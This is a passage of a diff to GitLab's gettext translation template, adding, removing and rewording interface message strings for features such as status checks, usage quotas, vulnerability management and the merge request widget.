msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32305,9 +32884,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32584,9 +33160,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32605,6 +33178,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32758,9 +33358,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32905,6 +33502,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32926,7 +33526,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32935,6 +33535,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32956,6 +33559,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32971,6 +33580,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33958,10 +34570,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34219,7 +34831,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34255,7 +34867,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34462,9 +35077,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34597,9 +35209,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34654,6 +35263,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34750,9 +35362,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34765,9 +35374,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -35143,6 +35749,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -35161,12 +35770,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35215,6 +35818,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35269,12 +35878,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35284,6 +35896,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35419,9 +36034,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35464,6 +36076,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35563,7 +36178,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -36109,6 +36724,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -36133,6 +36751,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36238,10 +36859,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36262,9 +36883,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36325,6 +36943,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36496,7 +37117,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36553,6 +37174,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36751,9 +37378,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36859,6 +37483,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36943,9 +37570,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -37054,6 +37678,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -37096,6 +37723,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -37105,9 +37735,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -37120,9 +37747,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -37177,12 +37801,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -37192,9 +37810,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -37207,9 +37831,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37243,18 +37864,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37300,9 +37909,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37495,9 +38101,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37801,9 +38404,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -38029,6 +38629,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -38053,6 +38665,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -38152,6 +38767,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38263,6 +38881,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38275,9 +38896,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38293,6 +38911,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38302,7 +38923,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38314,6 +38938,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38338,9 +38965,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38353,10 +38986,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38530,7 +39163,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38836,6 +39469,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38848,7 +39484,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -39022,6 +39658,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -39031,7 +39673,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -39145,6 +39787,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39418,13 +40063,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr ""
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39460,6 +40102,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39490,12 +40135,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39547,6 +40198,12 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39595,6 +40252,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39730,9 +40390,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39817,7 +40474,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39883,6 +40540,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -40075,6 +40738,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -40090,15 +40756,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -40108,6 +40768,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -40174,9 +40837,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40273,6 +40933,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40306,9 +40969,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40480,6 +41140,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40489,6 +41152,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40513,6 +41179,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40549,6 +41218,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40924,21 +41596,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -41092,9 +41752,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -41125,13 +41782,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -41143,6 +41800,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -41161,9 +41821,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -41206,9 +41863,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41242,6 +41896,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41251,12 +41908,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41293,21 +41956,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41320,6 +41998,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41359,9 +42046,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41392,9 +42076,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41410,39 +42091,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
